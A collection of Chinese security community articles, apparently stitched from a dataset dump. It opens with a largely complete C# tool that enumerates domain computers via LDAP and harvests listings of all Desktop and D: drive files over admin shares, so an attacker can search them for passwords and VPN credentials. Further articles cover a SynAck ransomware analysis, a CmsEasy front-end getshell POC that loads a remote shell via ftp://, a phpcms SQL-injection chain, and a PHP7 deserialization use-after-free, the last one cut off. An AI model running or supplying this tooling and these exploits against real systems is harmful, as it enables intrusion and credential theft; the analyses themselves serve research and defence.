text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
### 域内批量获取敏感文件
>
> 域内如果我们要获取指定机器，恰巧那台机器为linux只开了22等端口或者说无法从常规web打点进入，我们可以寻找运维机器的密码本，一台一台翻的话成本太高，就可以通过批量获取域内桌面文件。
### 0x01 批量获取域内机器名
自动化工具，当然就要全自动，懒人必备。`net group "domain computers" /do`
，获取机器是3个一排，然后可以通过正则删除空格，每次也麻烦，直接获取机器名更加方便。
思路就是连接ldap然后指定过滤条件`(&(objectclass=computer))`获取机器。
**获取域内机器**
public static DirectoryEntry coon = null;
public static DirectorySearcher search = null;
url = "LDAP://" + ip;
username = domain user;
password = domain pass;
coon = new DirectoryEntry(url, username, password);
search = new DirectorySearcher(coon);
search.Filter = "(&(objectclass=computer))
foreach (SearchResult r in Ldapcoon.search.FindAll())
{
string computername = "";
computername = r.Properties["cn"][0].ToString();
Console.WriteLine(computername);
}
### 0x02 机器探测存活
1.把上述机器放入machine.txt内，然后逐行读取
StreamReader machine_name = new StreamReader(@"machine.txt");
while (!machine_name.EndOfStream)
{
string machine = machine_name.ReadLine();
Console.WriteLine(machine);
}
2.探测探测存活，这里面向谷歌
public static bool IsMachineUp(string hostName)
{
bool retVal = false;
try
{
Ping pingSender = new Ping();
PingOptions options = new PingOptions();
// Use the default Ttl value which is 128,
// but change the fragmentation behavior.
options.DontFragment = true;
// Create a buffer of 32 bytes of data to be transmitted.
string data = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
byte[] buffer = Encoding.ASCII.GetBytes(data);
int timeout = 800;
PingReply reply = pingSender.Send(hostName, timeout, buffer, options);
if (reply.Status == IPStatus.Success)
{
retVal = true;
}
}
catch (Exception ex)
{
retVal = false;
//Console.ForegroundColor = ConsoleColor.Red;
//Console.WriteLine("[-]" + ex.Message);
//Console.ForegroundColor = ConsoleColor.White;
}
return retVal;
}
一般来说it机器都为工作机而非服务器，可能存在下班关机等情况，如果大多机器处于关机情况下，就会浪费比较多的时间，所以优先判断存活是很有必要的。
StreamReader machine_name = new StreamReader(@"machine.txt");
while (!machine_name.EndOfStream)
{
try
{
string machine = machine_name.ReadLine();
if (IsMachineUp(machine))
{
//操作
}
}
catch { }
}
### 0x03 获取桌面文件
我们这里构造获取结果目录呈现结果为：
TargetDesktopinfos
机器1
用户A
文件
用户B
文件
机器2
用户C
文件
用户D
文件
首先获取当前路径创建TargetDesktopinfos目录。
string currentpath = Directory.GetCurrentDirectory();
DesktopFiles = currentpath + "\\TargetDesktopinfos";
Directory.CreateDirectory(DesktopFiles);
然后获取目标机器`c:\users\`目录，如果存在该目录创建机器名
string userpath = @"\\" + machine + @"\c$\users";
var user_list = Directory.EnumerateDirectories(userpath);
if (Directory.Exists(userpath))
{
//创建机器名文件夹
string MachineFolder = DesktopFiles + "\\" + machine;
Directory.CreateDirectory(MachineFolder);
再遍历users目录存在哪些用户，同理如果存在desktop目录创建用户名和desktop.txt。
string userpath = @"\\" + machine + @"\c$\users";
var user_list = Directory.EnumerateDirectories(userpath);
if (Directory.Exists(userpath))
{
//创建机器名文件夹
string MachineFolder = DesktopFiles + "\\" + machine;
Directory.CreateDirectory(MachineFolder);
foreach (string user in user_list)
{
string DesktopDirectoryPath = user + "\\desktop";
string username = substring(user);
if (Directory.Exists(DesktopDirectoryPath))
{
//创建用户名文件夹
string UserFolder = MachineFolder + "\\" + username;
Directory.CreateDirectory(UserFolder);
//创建desktop.txt文件
string Desktoptxt = UserFolder + "\\desktop.txt";
StreamWriter sw = File.CreateText(Desktoptxt);
sw.Close();
接下来就是遍历desktop目录所有文件以及文件夹内的文件。
这里用到`Directory.GetFileSystemEntries`方法
public static string[] GetFileSystemEntries (string path, string searchPattern, System.IO.SearchOption searchOption);
第一个参数path：要搜索的路径。
第二个参数searchPattern：要与 `path` 中的文件和目录的名称匹配的搜索字符串。
第三个参数searchOption，指定搜索操作是应仅包含当前目录还是应包含所有子目录的枚举值之一。
这里的`SearchOption.AllDirectories`我们使用`SearchOption.AllDirectories`,表示在搜索操作中包括当前目录和所有它的子目录。
完整代码如下
try
{
string DesktopFiles = "";
//获取机器名
StreamReader machine_name = new StreamReader(@"machine.txt");
while (!machine_name.EndOfStream)
{
try
{
string machine = machine_name.ReadLine();
if (IsMachineUp(machine))
{
//获取当前路径
string currentpath = Directory.GetCurrentDirectory();
DesktopFiles = currentpath + "\\TargetDesktopinfos";
Directory.CreateDirectory(DesktopFiles);
Console.WriteLine("[*]" + machine);
//获取users目录
string userpath = @"\\" + machine + @"\c$\users";
var user_list = Directory.EnumerateDirectories(userpath);
if (Directory.Exists(userpath))
{
//创建机器名文件夹
string MachineFolder = DesktopFiles + "\\" + machine;
Directory.CreateDirectory(MachineFolder);
foreach (string user in user_list)
{
string DesktopDirectoryPath = user + "\\desktop";
string username = substring(user);
if (Directory.Exists(DesktopDirectoryPath))
{
//创建用户名文件夹
string UserFolder = MachineFolder + "\\" + username;
Directory.CreateDirectory(UserFolder);
//创建desktop.txt文件
string Desktoptxt = UserFolder + "\\desktop.txt";
StreamWriter sw = File.CreateText(Desktoptxt);
sw.Close();
string info_user = substring(user);
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("[*]" + info_user);
Console.ForegroundColor = ConsoleColor.White;
string[] AllFiles = Directory.GetFileSystemEntries(DesktopDirectoryPath, "*", SearchOption.AllDirectories);
foreach (string file in AllFiles)
{
Console.WriteLine(file);
string create_time = Directory.GetCreationTime(file).ToString();
string writeFileTo = "create time:" + create_time + " " + file + "\r\n";
File.AppendAllText(Desktoptxt, writeFileTo);
}
}
else
{
continue;
}
}
}
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[-]" + machine + " is down");
Console.ForegroundColor = ConsoleColor.White;
}
}
catch (System.Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[-] error");
Console.WriteLine("[-] Exception: " + ex.Message);
Console.ForegroundColor = ConsoleColor.White;
continue;
}
}
machine_name.Close();
Console.WriteLine("[+]out put to:" + DesktopFiles);
}
catch (System.Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[-] error");
Console.WriteLine("[-] Exception: " + ex.Message);
Console.ForegroundColor = ConsoleColor.White;
return;
}
同理要获取DEF盘，这里就举例D盘
public static void D()
{
try
{
string DFiles = "";
StreamReader machine_name = new StreamReader(@"machine.txt");
while (!machine_name.EndOfStream)
{
try
{
string machine = machine_name.ReadLine();
if (IsMachineUp(machine))
{
string currentpath = Directory.GetCurrentDirectory();
DFiles = currentpath + "\\DInfos";
Directory.CreateDirectory(DFiles);
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("[*]" + machine);
Console.ForegroundColor = ConsoleColor.White;
//获取users目录
string dpath = @"\\" + machine + @"\d$";
var d_list = Directory.EnumerateDirectories(dpath);
if (Directory.Exists(dpath))
{
//创建机器名文件夹
string MachineFolder = DFiles + "\\" + machine;
Directory.CreateDirectory(MachineFolder);
//创建输出文本
string E_txt = MachineFolder + "\\dFiles.txt";
StreamWriter sw = File.CreateText(E_txt);
sw.Close();
try
{
var files = Directory.GetFiles(dpath);
foreach (string file in files)
{
Console.WriteLine(file);
string create_time = Directory.GetCreationTime(file).ToString();
string writeFileTo = "create time:" + create_time + " " + file + "\r\n";
File.AppendAllText(E_txt, writeFileTo);
}
var directorys = Directory.EnumerateDirectories(dpath);
foreach (string directory in directorys)
{
if (!directory.Contains("System Volume Information"))
{
string[] AllFiles = Directory.GetFileSystemEntries(directory, "*", SearchOption.AllDirectories);
foreach (string file in AllFiles)
{
string create_time = Directory.GetCreationTime(file).ToString();
Console.WriteLine(file);
string writeFileTo = "create time:" + create_time + " " + file + "\r\n";
File.AppendAllText(E_txt, writeFileTo);
}
}
}
}
catch (UnauthorizedAccessException ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(ex.Message);
Console.ForegroundColor = ConsoleColor.White;
//goto cc;
}
}
}
}
catch (System.Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[-] 不存在D盘");
Console.WriteLine(ex.Message);
Console.ForegroundColor = ConsoleColor.White;
continue;
}
}
machine_name.Close();
Console.WriteLine("[+]out put to:" + DFiles);
}
catch (System.Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[-] error");
Console.WriteLine("[-] Exception: " + ex.Message);
Console.ForegroundColor = ConsoleColor.White;
return;
}
}
这里我们在08这台域机器桌面存放文件
测试效果
结果呈现
接下来直接文件夹搜索password或者vpn等关键字即可。 | 社区文章 |
# 针对使用Doppelgänging技术的SynAck勒索软件变种的分析
##### 译文声明
本文是翻译文章，文章来源：https://securelist.com/
原文地址：<https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
2017年12月，在BlackHat会议上，新型代码注入技术Process Doppelgänging被首次发布（
<https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf>
）。在会议的相关资料发布后，一些恶意软件的开发者已经开始借助这种复杂的技术来绕过当今流行的安全解决方案。
在2018年4月，我们首次发现了使用该绕过技术的勒索软件——SynAck。在这里需要指出的是，SynAck并不是一种新的勒索软件，它早在2017年9月就被发现，然而如今发现其变种中使用了Doppelgänging技术，这也引起了我们的关注。本文主要针对使用了Doppelgänging技术的新SynAck变种进行分析。
## 反分析与反检测技术
### 新型代码注入技术Process Doppelgänging
SynAck勒索软件借助该技术试图绕过当今流行的安全解决方案。该技术的主要目的是，使用NTFS文件系统事物（NTFS
Transactions），从事务处理文件（Transacted File）中启动恶意进程，从而使该恶意进程看起来像是合法的进程。
使用Process Doppelgänging技术的部分代码如下：
### 二进制混淆
为了扰乱恶意软件分析者的分析工作，恶意软件开发人员通常会使用自定义的PE加壳器来保护木马可执行文件的原始代码。然而，大多数的加壳器都可以被安全人员轻松脱壳，还原出可供分析的原始的木马PE文件。
然而，SynAck并不是这样做的，该木马的可执行文件没有经过加壳。相反，该可执行文件在编译前就已经被彻底混淆。因此，如果要对SynAck进行逆向，其工作量要远远超过其他勒索软件。
特洛伊木马可执行文件的控制流非常复杂，大部分的调用都是间接进行，其目标地址是通过两个DWORD常量的算术运算计算而成。
所有WinAPI函数地址都是动态导入的，需要先对导出的系统DLL进行解析，然后再对函数名称进行CRC32哈希值计算。这一点并不是新的方法，分析过程也不复杂。但在SynAck中，开发者隐藏了检索API函数地址的过程和目标哈希值，从而加大分析的工作量。
接下来，我们来详细说明SynAck是如何调用WinAPI函数的。我们首先来看下面的反汇编代码：
该代码将位于403b13的DWORD与常数78f5ec4d相减，得到结果403ad0，即为调用过程的地址。
该过程将两个常量（N1 = ffffffff877bbca1和N2 = 2f399204）压入栈，并将执行传递给403680处的过程，该过程将计算N1
xor N2 = a8422ea5的结果。
计算出的该值，即是SynAck希望调用的API函数名称的散列值。过程403680接下来会通过解析系统DLL的导出表，计算每个函数名称的哈希值，并将其与值a8422ea5进行比较，从而找到该函数的地址。在找到这个API函数地址之后，SynAck会将执行传递给这个地址。
请注意，实际上进行的并不是上图中的简单调用（CALL），而是使用了PUSH +
RET指令，这也可以从另一个方面让分析工作变得更复杂。在调用WinAPI函数时，SynAck的开发者使用了不同的指令组合，而没有使用CALL：
push reg
retn
jmp reg
mov [rsp-var], reg
jmp qword ptr [rsp-var]
#### 反混淆过程
为了对抗恶意软件开发者设置的绊脚石，我们写了一个IDA
Python脚本，该脚本可以自动分析代码、提取所有中间过程的地址、提取常量，同时还能够计算恶意软件希望导入的WinAPI函数的哈希值。
然后，我们计算出从Windows系统DLL导出的函数的哈希值，并将它们与SynAck所需的值进行匹配。下表中为我们所得到的结果，展示了各个哈希值所对应的API函数：
我们的脚本借助上述得到的列表，来保存IDA数据库中的注释，以指示出哪个API将会被木马调用。在去除混淆之后，我们得到了下面的代码。
下图为反汇编后的代码，其中加上了目标API函数名称的注释：
下图为借助Hex-Rays反编译后的代码，再次识别出了API函数的名称：
### 语言检查
在其执行的早期阶段，特洛伊木马会执行语言检查，以确定是否在特定国家或地区的计算机上运行。为了验证语言，该木马会查看计算机上安装的所有键盘布局是否与列表中的匹配，该列表是以硬编码的形式写入到恶意软件之中。一旦发现匹配，SynAck将会休眠300秒，然后调用ExitProcess来防止这些国家的用户文件被加密。
如果语言检查未通过，则停止木马程序的运行：
检查受感染计算机上键盘布局的过程：
### 目录名称验证
在进行语言检查之后，SynAck会对其可执行文件的目录进行检查，这一检查过程在如今流行的许多勒索软件中都是比较常见的。如果试图从“不正确的”目录运行木马，则该木马会自动退出。这是恶意软件开发者用来对抗自动沙盒分析所设计的机制。
与API导入一样，特洛伊木马并没有存储想要检查的字符串本身，而是存储了它们的哈希值。通过这种方式，恶意软件分析者就难以找出原始字符串。
SynAck中共包含9个哈希值，我们已经尝试出了其中的两个：
0x05f9053d == hash("output")
0x2cd2f8e2 == hash("plugins")
在这一寻找过程中，我们发现了很多哈希值碰撞的情况（有意义的字符串的哈希值与乱码字符串的哈希值相同的情况）。
## 加密方案
如同其他勒索软件一样，SynAck综合使用了对称加密算法和非对称加密算法。SynAck所使用的核心算法是混合ECIES方案（
<https://en.wikipedia.org/wiki/Integrated_Encryption_Scheme>
）。该算法由彼此交互的“构件块（Building
Blocks）”组成：ENC（对称加密算法）、KDF（密钥导出函数）和MAC（消息认证码）。ECIES方案可以采用不同的构件模块来具体实现。为了计算出对称算法ENC的密钥，该方案采用了ECDH协议（在特定椭圆曲线上的Diffie-Hellman）。
木马开发者选择了以下方案来实现加密算法。
ENC：XOR；
KDF：PBKDF2-SHA1经过一轮运算；
MAC：HMAC-SHA1；
ECDH曲线：标准NIST椭圆曲线secp192r1。
### ECIES-XOR-HMAC-SHA1
下面是在SynAck中使用的ECIES方案的示例。
输入：明文、input_public_key。
输出：密文、ecies_public_key、MAC。
1、该木马会生成一对非对称密钥：ecies_private_key和ecies_public_key。
2、使用生成的ecies_private_key和ecies_public_key，木马按照椭圆曲线上的Diffie-Hellman协议计算共享密钥：
ecies_shared_secret = ECDH(ecies_private_key, input_public_key)
3、使用PBKDF2-SHA1函数进行一轮运算后，木马会从ecies_shared_secret派生出两个字节数组key_enc和key_mac。其中，key_enc的大小与明文大小相同。
4、将key_enc与明文逐字节进行异或（XOR）操作。
5、使用key_mac作为密钥，通过HMAC-SHA1算法计算并获得密文的MAC（消息认证码）。
### 初始化
在第一步中，木马会生成一对私钥和公钥。私钥（session_private_key）是一个192位的随机数，公钥（session_public_key）是标准NIST椭圆曲线secp192r1上的一个点。
随后，木马会收集用户的特定信息，例如计算机名称、用户名、操作系统版本、特定感染ID、会话私钥和一些随机数据。收集完成后，使用随机生成的256位AES密钥对其进行加密，并将加密后的数据保存到encrypted_unique_data缓冲区。
为了加密AES密钥，特洛伊木马使用了ECIES-XOR-HMAC-SHA1函数（详见上面的步骤说明，以下简称为ECIES函数）。SynAck将AES密钥作为明文参数，会将硬编码的master_public_key（恶意软件开发人员的密钥）作为input_public_key。字段encrypted_aes_key包含函数返回的密文，public_key_n是ECIES的公钥，message_authentication_code则是MAC。
接下来，木马将会产生cipher_info结构。
struct cipher_info
{
uint8_t encrypted_unique_data[240];
uint8_t public_key_n[49];
uint8_t encrypted_aes_key[44];
uint8_t message_authentication_code[20];
};
如下图所示：
这些数据会使用Base64编码，并写入到勒索提示中。
正如我们所见，恶意软件发布者要求被感染用户在提供的信息中包含这个编码文本。
### 文件加密
AES-256-ECB算法使用随机生成的密钥对每个文件的内容进行加密。
加密后，木马会生成一个包含信息的结构，其中包含加密标签0xA4EF5C91、使用的AES密钥、加密块大小和原始文件名等信息。该结构具体如下：
struct encryption_info
{
uint32_t label = 0xA4EF5C91;
uint8_t aes_key[32];
uint32_t encrypted_chunk_size;
uint32_t reserved;
uint8_t original_name_buffer[522];
};
然后，Trojan调用ECIES函数，并将crypt_info结构作为明文，将此前生成的session_public_key作为input_public_key。该函数返回的结果会保存到我们称为file_service_structure的结构中。
字段encrypted_file_info包含函数返回的密文，ecc_file_key_public是ECIES公钥，message_authentication_code则是MAC。
struct file_service_structure
{
uint8_t ecc_file_key_public[49];
encryption_info encrypted_file_info;
uint8_t message_authentication_code[20];
};
该结构将写入到加密文件的末尾，加密文件的结构如下：
struct encrypted_file
{
uint8_t encrypted_data[file_size - file_size % AES_BLOCK_SIZE];
uint8_t original_trailer[file_size % AES_BLOCK_SIZE];
uint64_t encryption_label = 0x65CE3D204A93A12F;
uint32_t infection_id;
uint32_t service_structure_size;
file_service_structure service_info;
};
加密文件的结构如下图所示：
在加密后，文件将会具有随机生成的扩展名。
## 其他特性
### 终止进程和服务
在文件加密之前，SynAck会检查所有正在运行的进程和服务，并根据两个硬编码写入的哈希值列表（包含数百个项目）检查其名称的哈希值。如果发现匹配，木马将会尝试使用TerminateProcess
API函数终止进程，或使用带有参数SERVICE_CONTROL_STOP的ControlService停止服务。
为了找出该木马列表中包含的进程和服务，我们从木马中获得了哈希值，并得到了部分结果，如下所示：
正如我们所看到的，SynAck会试图终止与虚拟机、办公应用程序、脚本解释器、数据库应用程序、备份系统、游戏应用程序等相关的程序。其目的在于防止在自身访问某些有价值文件时，由于其他进程正在访问而导致的文件被占用。
### 清除事件日志
为了阻止安全研究人员对受感染机器进行分析，SynAck会清除系统存储的事件日志。为此，它使用了两种方法。
针对Vista之前的Windows版本，它会列举注册表项SYSTEMCurrentControlSetServicesEventLog，并使用OpenEventLog或ClearEventLog
API函数。
对于Vista及以上的Windows版本，它使用来自EvtOpenChannelEnum/EvtNextChannelPath/EvtClearLog和Wevtapi.dll的函数实现对事件日志的清除。
### 在登录屏幕显示勒索提示
SynAck还能够在Windows登录屏幕中显示自定义文本，具体是通过修改注册表中的LegalNoticeCaption和LegalNoticeText键来实现的。这样一来，在用户登录其帐户之前，Windows会显示来自勒索软件作者的消息。
## 攻击目标
截至目前，我们只在美国、科威特、德国和伊朗发现了几起病毒攻击事件。在对上述攻击事件的分析中，我们认定该恶意软件属于勒索软件。
## 检测
Trojan-Ransom.Win32.Agent.abwa
Trojan-Ransom.Win32.Agent.abwb
PDM：Trojan.Win32.Generic
## IoCs
0x6F772EB660BC05FC26DF86C98CA49ABC
0x911D5905CBE1DD462F171B7167CD15B9 | 社区文章 |
# 【技术分享】CmsEasy前台无限制GetShell
|
##### 译文声明
本文是翻译文章，文章来源：阿里先知（安全情报）
原文地址：<https://xianzhi.aliyun.com/forum/read/215.html>
译文仅供参考，具体内容表达以及含义原文为准。
**简要描述**
CMSEasy官方在2016-10-12发布了一个补丁,描述只有两句话
前台getshell漏洞修正；
命令执行漏洞修正；
我们就根据补丁来分析一下这个前台Getshell漏洞。
**漏洞详情**
在补丁页面[http://www.cmseasy.cn/patch/show_1116.html下载补丁CmsEasy_for_Uploads_20161012.zip](http://www.cmseasy.cn/patch/show_1116.html%E4%B8%8B%E8%BD%BD%E8%A1%A5%E4%B8%81CmsEasy_for_Uploads_20161012.zip)
修改的文件不多，通过diff发现补丁中lib/default/tool_act.php 392行的cut_image_action()函数被注释了。
来看看这个函数
/*function cut_image_action() {
$len = 1;
if(config::get('base_url') != '/'){
$len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
front::$post['thumb'] = substr($_POST['pic'],$len);
}
$thumb=new thumb();
$thumb->set(front::$post['thumb'],'jpg');
$img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
$save_file='upload/images/'.date('Ym').'/'.$new_name;
@mkdir(dirname(ROOT.'/'.$save_file));
ob_start();
$thumb->out_image($img,null,85);
file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
ob_end_clean();
$image_url=config::get('base_url').'/'.$save_file;
//$res['size']=ceil(strlen($img) / 1024);
$res['code']="
//$('#cut_preview').attr('src','$image_url');
$('#thumb').val('$image_url');
alert(lang('save_success'));
";
echo json::encode($res);
}
*/
看保存文件名的生成
$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
直接用了$_POST['pic']的后缀做为新文件的扩展名，应该就是这里导致的getshell。
不过这里利用需要一点技巧
1、图片会经过php的图像库处理，如何在处理后仍然保留shell语句
2、远程加载图片需要通过file_exists函数的验证(要知道http(s)对于file_exists来说会固定返回false)
在正常图片中插入shell并无视图像库的处理 这个freebuf有介绍 国外也有不少分析，当然直接拿freebuf的方法应该是不成功的 需要一点小小的调整
关于file_exits()函数 ftp://协议就可以绕过 wrappers中有介绍
$len = 1;
5.0.0以上 就支持file_exists()了
这里构造payload还有一点需要注意的
if(config::get('base_url') != '/'){
$len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
front::$post['thumb'] =
str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
front::$post['thumb'] = substr($_POST['pic'],$len);
}
如果$_POST['pic']开头4个字符不是http的话，就认为是本站的文件，会从前面抽取掉baseurl（等于返回文件相对路径）。
所以构造的时候 如果站点不是放在根目录 则需要在前面补位strlen(base_url)+2 如果放在根目录 也需要补上1位（'/'的长度）。
**POC**
POST /index.php?case=tool&act=cut_image
pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
> 本地测试截图 | 社区文章 |
**Author: p0wd3r (知道创宇404安全实验室)**
**Date: 2017-04-13**
## 0x00 漏洞概述
### 漏洞简介
昨天 phpcms 发布了 9.6.1
版本，这次补丁中修复了两个安全漏洞（[任意文件上传](http://paper.seebug.org/273/)和SQL注入）， 相比于任意文件上传，这个
SQL 注入虽然没那么简单粗暴，但攻击思路还是值得我们学习。
### 漏洞影响
SQL 注入
版本：9.6.0
## 0x01 漏洞复现
首先我们看`phpcms/modules/attachment/attachments.php`中的`swfupload_json`函数：
这里用`safe_repalce`过滤输入，跟进这个函数：
函数将敏感字符替换为空，但问题是只执行一次，所以当输入是`%*27`时`*`被过滤，进而可以得到`%27`。
回到`swfupload_json`中，`safe_replace`处理后，程序使用`json_encode`\+ `set_cookie`生成加密的
Cookie。 **也就是说利用`swfupload_json`我们可以构造一个含有`%27`等 payload 的加密值。**
不过执行`swfupload_json`需要一点条件，我们看构造函数：
如果`$this->userid`不为空我们才可以继续执行。`$this->userid`和
`sys_auth($_POST['userid_flash'],
'DECODE'）`的值有关，并且程序并没有检查`$this->userid`的有效性，所以只要传入的`userid_flash`是个合法的加密值就可以通过检测进而使用`swfupload_json`了。那么如何获取一个合法加密值呢？
这就来到了`phpcms/modules/wap/index.php`中：
在 wap 模块的构造函数中程序根据`siteid`生成了一个加密 Cookie，生成的值我们是可以通过响应头获取到的。
至此，我们可以通过以下两个步骤获得一个含有 payload 的加密值：
1. 访问 wap 模块得到一个普通的加密 Cookie
1. 将上面得到的加密 Cookie 作为`userid_flash`的值，带上 payload 访问`swfupload_json`
**得到含有 payload 的加密值之后，我们继续找哪里可以用到这个值。** 我们看`phpcms/modules/content/down.php`：
这里用`sys_auth`解密输入的`a_k`，然后使用`parse_str`（http://php.net/manual/zh/function.parse-str.php ）处理`a_k`，该函数的作用简单来说就是以`&`分隔符，解析并注册变量。通过 IDE
的提示我们可以看到在静态的情况下`$id`是未初始化的，所以我们可以通过`parse_str`注册`$id`进而将可控数据带入查询，另外`parse_str`可以进行
URL 解码，所以之前我们得到的`%27`也就被解码成了真正可以利用的`'`。（`parse_str`还可能导致变量覆盖的问题，详见
https://github.com/80vul/pasc2at ）
所以整个攻击流程如下：
1. 通过 wap 模块构造含有 payload 的加密值
2. 将加密值作为`a_k`的值访问`down.php`的`init`函数
攻击效果如图：
## 0x02 补丁分析
对`a_k`进行过滤，并且对`id`进行类型转换。
## 0x03 参考
* <https://www.seebug.org/vuldb/ssvid-92929>
* <http://blog.safedog.cn/?p=2393>
* * * | 社区文章 |
# PHP7：反序列化漏洞案例及分析（上）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://blog.checkpoint.com/2016/08/26/web-scripting-language-php-7-vulnerable-to-remote-exploits/>
译文仅供参考，具体内容表达以及含义原文为准。
**
**
****
**1.漏洞历史**
对于黑客来说，如果能够利用服务器端错误，那简直相当于中了头彩。因为用户倾向于将他们的数据保存在服务器中,如果黑客能够利用这个错误，就能针对某一个目标，从而获取更大的收益。PHP脚本语言是时下最流行的web服务器端语言。为了消除PHP开发过程中不同类型的漏洞，人们采用了多种安全编码方案。
然而,安全编码方案不能掩盖语言本身的缺陷。PHP是用相对低级的语言写成的，其中常见的漏洞有内存损坏漏洞,而use-after-free漏洞最为普遍。
这些年来，PHP语言得到了不断的改进，在2015年12月，一个重要的新版本——PHP7被公布出来。这个版本的内部结构与PHP5有很大不同，分配器已经发生了改变，而变量的内部表示(zvals)也完全不同了。
通过一个反序列化漏洞，Check Point研究小组成功演示了一项对PHP7的利用。在这篇报告中,我们将会一步步解释这是如何完成的。
**2.技术背景**
为了更好地解释这项利用,我们首先要回顾一些关键的技术细节。
**（1）值和对象**
在PHP-7中,用来保存值的结构与php-5有所不同。
在内部保存值的结构是zval(_zval_struct)。这个结构的第一个字段是zend_value，其中包含指向PHP基本类型的指针和结构，而主要类型有Boolean、integer、double、string、object和array
等。
我们需要关注的类型是String、Object和Array,它们在内部中被表示为zend_string、zend_object和zend_array结构。
zend_string是用于保存字符串的结构。当引擎创建了一个新的字符串后,它会分配足够的字节给zend_string结构，对字符串的大小进行扩充。然后,它会用字符串的数据填补这个结构的字段，并在结构的末尾添加上字符串的内容。因此,字符串创建为我们提供了一种在不同的尺寸中进行分配的方法:sizeof(zend_string)+
strlen(str)= 16 +
strlen(str)。这样，我们就没法再伪造一个字符串zval，并让它指向我们想要的地方了,这和使用PHP-5时有所不同。
zend_object用来表示对象的基本结构。它通常被嵌入在一个代表着不同类型对象的结构中。当zval保存了一个对象时,它的value
字段是一个指向zend_object的指针。
zend_array(又名HashTable)是保存键值存储的结构。这是一个对哈希表数据结构的直接应用，其中的arData字段指向Bucket结构内的一个数组。
总体来说,我们可以看到，PHP-7值系统更倾向于嵌入结构(PHP-5相比)。这种改变可以提高代码的效率(减少分配),让我们难以利用与内存相关的bug(更少的引用)。
**（ 2）PHP-7内存分配器**
在PHP-7中，内存分配器的工作原理不同于PHP-5。小的分配(slot)由一个free list完成。每个分配大小都有一个对应的free
list。free list通过一个或多个连续页（bin）进行初始化，而free list的初始化使得每一个slot指向下一个slot。一旦free
list耗尽，一个新的bin会被分配出来。
**重点:**
•一个slot的元数据是基于所在页面进行检索的。(地址对齐到最近的chunk)
•下一个分配的位置可能是当前分配的位置+分配的大小。例如,如果分配器以0 x28的大小返回到地址0xf7e10000,那么下一个大小为0
x28的分配就位于0 xf7e10028。为了简单起见,我们假定这是真实的。注意,在最后一个primitive（下文Writing Memory /
64中会提到），我们设计了一个不依赖这一假设，但仍能触发错误的方法。
•分配大小被四舍五入成了某个预定义的大小。
**（3）反序列化**
unserialize函数被用于将格式化字符串内的对象进行实例化，在反序列化期间,每个解析元素都有一个索引号,号码从1开始。
在内部,每个解析值都被放到了php_unserialize_data_t的两个数组中。第一个数组是values-array,第二个是destructor-array。在反序列化期间,值可以重新定义,即在stdClass(最基本的PHP的对象——一个键值存储)中,同一个key可以用不同的值反序列化两次。如果是这样的话,第一个定义会被覆盖，引用也会从数值数组中被移除。然而引用会被保存在destructor-array中。当反序列化结束时,destructor-array中每个值的引用数都会被减少，如果减少到零,它就会被释放。
所以请记住,在反序列化过程中，值不能被释放,只有最后的过程中才可以。
**
**
**3.BUG (# 71311）**
这里的bug是一个Use-After-Free bug，培训存在于标准php库内ArrayObject的反序列化函数中。
ArrayObject是一个SPL对象，它允许对象以数组的形式工作。在内部,它被表示为spl_array_object。这是该对象的序列化形式:
spacer.gif
C:11:"ArrayObject":37:{x:i:0;a:2:{i:0;i:0;i:1;i:1;};m:a:0:{}}
•37是括号内的字符数
•x:i:0;对应于结构中的nr_flags字段
•a:2:{i:0;i:0;i:1;i:1;}对应于结构中的数组字段(从这个角度,它被称为internal数组以区别于对象本身)
•m:a:0:{}对应于zend_object std字段内的properties字段(从这个角度,称为members数组)。
当对ArrayObject进行反序列化时，引擎首先会将一个默认的、拥有内部数组的ArrayObject实例化，然后解析ArrayObject的字段。当它解析到与内部数组相关的部分时,会释放初始的内部数组，然后通过引用，调用php_var_unserialize，并指向内部数组,目的是想让函数将它变成已经解析过的内部数组。内部数组可以是一个已经解析的数组的引用,在这种情况下,内部数组被修改为指向引用的数组,同时引用计数会有所增加。
在内部数组对自身进行引用时，错误出现了。这导致内部指针被分配给自己(即无操作),并指向释放了的数组，然后,数组的引用计数会增加。
**
**
**4.有漏洞的代码**
我们利用的代码常被用于反序列化开发。我们建立了一个运行以下PHP脚本的apache服务器:
这个脚本给了我们一个反馈。尽管我们对远程可利用性的要求有所降低,但在每一个情境中，反映到客户端的反序列化数据都是适合的。
我们通过向data参数内的脚本发送字符串进行了利用。在利用过程中,我们从返回的序列化字符串中推断出了一些内部信息。
**
**
**5.触发这个错误**
为了触发这个错误,ArrayObject的内部数组必须引用自身。如前所述,每个解析值会分配到一个索引值。
这是我们最初的字符串:
反序列化这个字符串会触发错误，并导致ArrayObject::unserializ 内的intern→array
指针指向一个被释放了的slot,然后返回到再分配堆。然而,当对members数组进行反序列化时，这个slot被立即分配了(第1798行)。
